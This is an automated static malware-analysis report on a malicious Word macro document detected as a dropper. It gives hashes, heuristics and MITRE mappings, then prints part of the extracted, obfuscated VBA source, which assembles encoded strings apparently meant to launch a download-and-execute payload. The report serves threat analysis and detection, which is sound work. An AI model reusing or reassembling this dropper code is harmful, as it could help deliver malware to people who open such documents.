Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5a3aabd8409c9a9…

MALICIOUS

Office (OLE)

89.0 KB Created: 2017-11-02 10:53:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: bc9780324be8b357cea2f70d683072d5 SHA-1: 39a32524579db28782dbe3a0552f24e8e8b255fd SHA-256: b5a3aabd8409c9a9534d0aa861bfeda8b6ebabc1da8b610fb09922302a1f8e21
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The AutoOpen macro is present and configured to execute, further suggesting malicious intent. The VBA script itself is heavily obfuscated but appears to be designed to download and execute a second-stage payload, as evidenced by the presence of encoded strings and the ClamAV detection name 'Doc.Dropper.Agent-6364356-0'.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6364356-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6364356-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48476 bytes
SHA-256: b75639d3956d8e25cc6d68d6d19f27343b315c36319e79af5365afaa04505a83
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 68 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CwKqYLzwK"
Function qohATFwhk()
FPblqnn = PDNKKTJD
dGdKc = Mid("vpN4Zsj2K2bGADAAMwBvADEAMAAxAHUANQA5ACwAMQAyADUAZAAxADIANQAnAC4AcwBQAEwASQB0ACgAJwBRAHIAbwA7ACwAZAB1AHkAfgBlACwRQWamso62iWH", 13, 98)
OwZKPYJ = dGdKc
MGwdBVD = ktmfNODh
niWvwdn = Mid("wYwPLwFns3XmhWzJrAMAAxAHIAMQAxADUAUQAxADEANQAsADMAMgB+ADMANgByADEAMQAyAG8AOQA3AGUAMQAxADYAOwAxADAANABlADUAOQBvADkAOAA7ADEAMQA0AGUAMQAwADEAOwA5ADcAfgAxADAANwBlADUAOQByADEAMgA1AFEAOQA5AG8AOQA3A4zJwwjErWKTCswhCz8r", 18, 174)
kkGbdkFFQQ = niWvwdn
vcGDABd = RRMPvfcZ
UmIpFQcXzmH = Mid("vYAxADAAMQB1ADEAMAA5AGQAMQAxADIAZQAzADIAUQA0ADMAOwAzADIALAAzADkAZAA5ADIAOwAzADkAOwAzADIAeQA0ADMAbwAzADIAfgAzADYAbwAxqwli0vzjRKAIv3dkSR", 3, 114)
DwdSCU = UmIpFQcXzmH
FLBvVcK = XiYCiiwK
YwSGmiZhkVX = Mid("zOirjd9zH2tt6w4lolCBVwIAMwA2AHUAMQAxADkAOwAxADAAMQBRADkAOAB+ADkAOQAcZi9", 23, 45)
GRQJpRB = YwSGmiZhkVX
aZLVRhD = PIBjpfRm
AjwaLjIjnk = Mid("uDCYFIHMjAwAHkAMQAxADQAZAAxADEAMQB+ADkAOQByADE4w6JtUcBHNzp", 10, 37)
iLBQAOdMj = AjwaLjIjnk
ZXIThTL = SiElEYfw
TXIrPTRkn = Mid("F67fUK5Sh6ahLaZEAMQA0ADsAMQAwADUAOwAxADEAMAAsADEAMAAzAHkmci", 16, 40)
MQiich = TXIrPTRkn
XuSGlpj = JKrCvttl
vNwQWNXwrCo = Mid("A9uvBfiz7Tr0voQUKrb7QAxADYAbwAxADAANQByADEAMQAxAHIAMQAxADAAdQAxADEANQB1ADQANQBRADkAOQAsADEAMQAxAHIAMQAxADMAUQAxADEANwBkADEAMAA1AH4AMQAxADAAcgAxADAAMQBRADEAMQA1ADsANAA2AGUAMQAwADIwW8fwKPOwSOXHqzF", 21, 158)
hIGMKoPnDWj = vNwQWNXwrCo
nfGwwiV = ORrPGdQj
zJXCM = Mid("VGqtozzIANQA5AGUAMwA2AH4AMQAxADAAbwA5ADcAdQAxADAAOQBvADEAMAAxADsAMwAyAGUANgAxAHkAMwAyAG8AMwA2AHIAMQAxADQAeQA5ADcAeQAxADEAMABRADEAMAAwAGQAMQAxADEAfgAxADAAOQB+ADQANgB1ADEAMQAwAuBtXWv2jYQf8Nb3O6iRQ", 8, 167)
vwCzX = zJXCM
cfkJioW = ZfwpNwbi
nUojaR = Mid("tcUcwWRl0i3CvF1FZZfpWavvzv4ACwANQA4ACwAMQAxADYAfgFSQcIIvcTIvL", 27, 23)
HOcUGcuNj = nUojaR
YRZwRFw = bjTBfAPW
MlqHC = Mid("BuPBuG5puioD1zzD02WL0B7AxADAANgA7ADEAMAAxAHUAOQA5AH4AMQAxADYAdQAzADIAbwA4ADcAZAA4w0mza2UY1Wd5Khi", 24, 58)
lsfnrbREAG = MlqHC
jGtdOXL = jPzQGbzJ
FWjIfiwiZOD = Mid("vOQAsADEAMAA0AHUANAAwAHUAMwA2AHkAMQAxADcAdQAxADEANAB5ADEAMAA4AFEAMwAyAHUAMQAwADUAdQAxADEAMAB1ADMAMgBRADMANgB1ADFta5FEowaiRH3tRE", 2, 110)
vzPXH = FWjIfiwiZOD
RXnnSzh = jzaiDEpc
DjTVUPkismU = Mid("39MP5UtZuU4wA1AG8AMQAwADIAZAA0GIVAT", 12, 19)
IVruw = DjTVUPkismU
IWJINiU = UMHMhJzA
ddzbHI = Mid("ALTcsED7ADEAMAA0AHkAMQAxADEAOwAxADEANQBkADEAMQA2AH4AMwAyAHUAMwA2AHUAOQA1AFEANAA2AG8ANgA5AG8AMQAyADAAUQA5ADkAbwAxADAAMQB5ADEFvIB6h56W4k8pp", 8, 116)
WUtPIbqzQ = ddzbHI
zWbXCis = NwZBatCk
DLRQVWt = Mid("Xo8zAMQAxADYAOwAxADAANQA7ADEAMQAxAG8AMQAxADAAZAA0ADYAeQA3ADcAZQAxANnHjBudGzTCs1ijr4YO4H49", 5, 62)
pDvOjjcuuow = DLRQVWt
TGunouw = SmazCajG
EmBIfO = Mid("H9jW16BjrXi0OuZRJUGBkzAMQA2AG8ANAAwAHkAMwA5ACwANAA0ADsAMwA5AGQANAAxAHIwnpI62sW91j", 23, 47)
CzIUW = EmBIfO
PXhwaIb = hnzPINiL
mIcJVHq = Mid("GwADEALAAxADAAMgBRADEAMQAxACwAMQAwADgA0nRCFnCjd0LYX", 2, 37)
qVdmbJCiAf = mIcJVHq
IaRcnFn = WKGDDpzF
MRoKzFtu = Mid("Tcqd1AVSrtZcmFAEEAYwBoACAAewAoACAAWwBDAGgAQQByAF0AIABbAGkAbgBUAF0AJABfACkAfQApACAAKQAgACkAIAA=tVzU91W7zwm0U2", 14, 81)
owHwIYlbPuS = MRoKzFtu
bShqKds = ubcrZGpZ
TECFzzAmGo = Mid("Nij2JADEAMABkADkANwBRADEAMAA5A5HKuO32TIiALZdtd7I", 6, 25)
GSwvdijn = TECFzzAmGo
ljjaRWk = zsAbBWsX
XwMRkw = Mid("ov1drdzXlMz92aLADEANQB+ADQANgB5ADEAMAA1AHIAMQAxADYAdQA0ADcAbwAxADEAMgByADcANAB5ADcANQAsADQANwBvADMAOJksH", 16, 85)
uvfkZKNcIwB = XwMRkw
EmjiWwb = WYiPfpAv
riiOJ = Mid("mvfG2sWaUJ49jFA5o1E9DsAMQAwADEAeQAxADIAMAB+ADEAMQA2AGQANAAwAHIANAA5AH4ANAA0AH4AMwAyAGQANQA0AHIANQAzAH4ANQAzAG8ANQAxAGQANQA0AGQANAAxACwANQA5ACwAMwA2AGUAMQAxADY1G0NYHjlU7os0PsEw", 21, 137)
QzQphX = riiOJ
jhjlUUU = OfiqVoqi
JFzIK = Mid("Q9XioaXho4ZmkSZmB2MbIANAAwADsANAAxAH4ANAA0AFEAMwAyAGUAMwA2AHIAMQAxADIALAA5ADcAOwVVUUnYSIiFwjG52X", 21, 60)
tlvQVaZF = JFzIK
cVCEYFp = XTcKMLsB
rzzRTwn = Mid("sdRXHfIvkrHADEAMABRADEAMAAxAHkA
... (truncated)

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